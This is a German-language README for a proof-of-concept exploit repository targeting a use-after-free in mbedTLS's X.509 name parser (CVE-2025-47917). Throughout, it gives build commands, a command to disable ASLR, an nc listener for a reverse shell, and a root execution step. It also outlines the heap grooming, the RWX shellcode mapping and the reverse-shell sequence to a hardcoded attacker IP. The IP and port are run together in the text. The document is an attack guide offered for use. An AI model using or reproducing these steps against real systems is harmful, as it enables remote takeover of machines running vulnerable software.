
PoC-Exploit für CVE-2025-47917: Use-After-Free in mbedTLS, der zu Remote-Code-Ausführung führt.
Dieses Repository enthält einen Exploit, der eine Use-After-Free-Sicherheitslücke in der mbedtls_x509_string_to_names() Namensparsen-Funktion der mbedTLS-Bibliothek ausnutzt. Ein erfolgreicher Exploit ermöglicht die Ausführung von beliebigem Code mit Root-Rechten, indem er freigegebene Heap-Metadaten kapert und den Kontrollfluss auf injizierten Shellcode umleitet.
Betriebssystem: Linux (getestet auf Kali Linux)
Root-Rechte: Erforderlich zum Deaktivieren von ASLR und zur Ausführung von injiziertem Shellcode
mbedTLS-Entwicklungsbibliotheken (mbedTLS < 3.6.4):
sudo apt update
sudo apt install -y libmbedtls-dev
Build-Werkzeuge: gcc, make (optional)
Passen Sie die Include-/Library-Pfade entsprechend Ihrer Installation an:
gcc /path/to/exploit.c \
-I/usr/local/include \
-L/usr/local/lib \
-lmbedtls -lmbedx509 -lmbedcrypto \
-Wl,-rpath,/usr/local/lib \
-o exploit_UAF
ASLR deaktivieren (Address Space Layout Randomization):
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Listener vorbereiten für die Reverse Shell auf dem Angreifer-Rechner (Port 4454):
nc -lvnp 4454
Exploit ausführen mit Root-Rechten:
sudo ./exploit_UAF
checkAslr() liest /proc/sys/kernel/randomize_va_space, um sicherzustellen, dass ASLR deaktiviert ist. Beendet sich, wenn aktiviert.mbedtls_x509_string_to_names()-Aufruf: Initialisiert eine leere named-data-Liste.paddingChunk() alloziert viele gefälschte named-data-Strukturen, um Freiliste-Einträge mit kontrolliertem Inhalt zu füllen, der auf Shellcode verweist.mbedtls_x509_string_to_names()-Aufruf: Löst die Use-After-Free-Bedingung aus, verwendet einen freigegebenen Chunk mit gefälschten Metadaten wieder.mmap() als RWX gemappt, kopiert und über den beschädigten named_data->val.p-Pointer ausgeführt.192.168.92.1874454Der Shellcode führt eine socket + connect + dup2-Sequenz aus, dann execve("/bin/sh").
MIT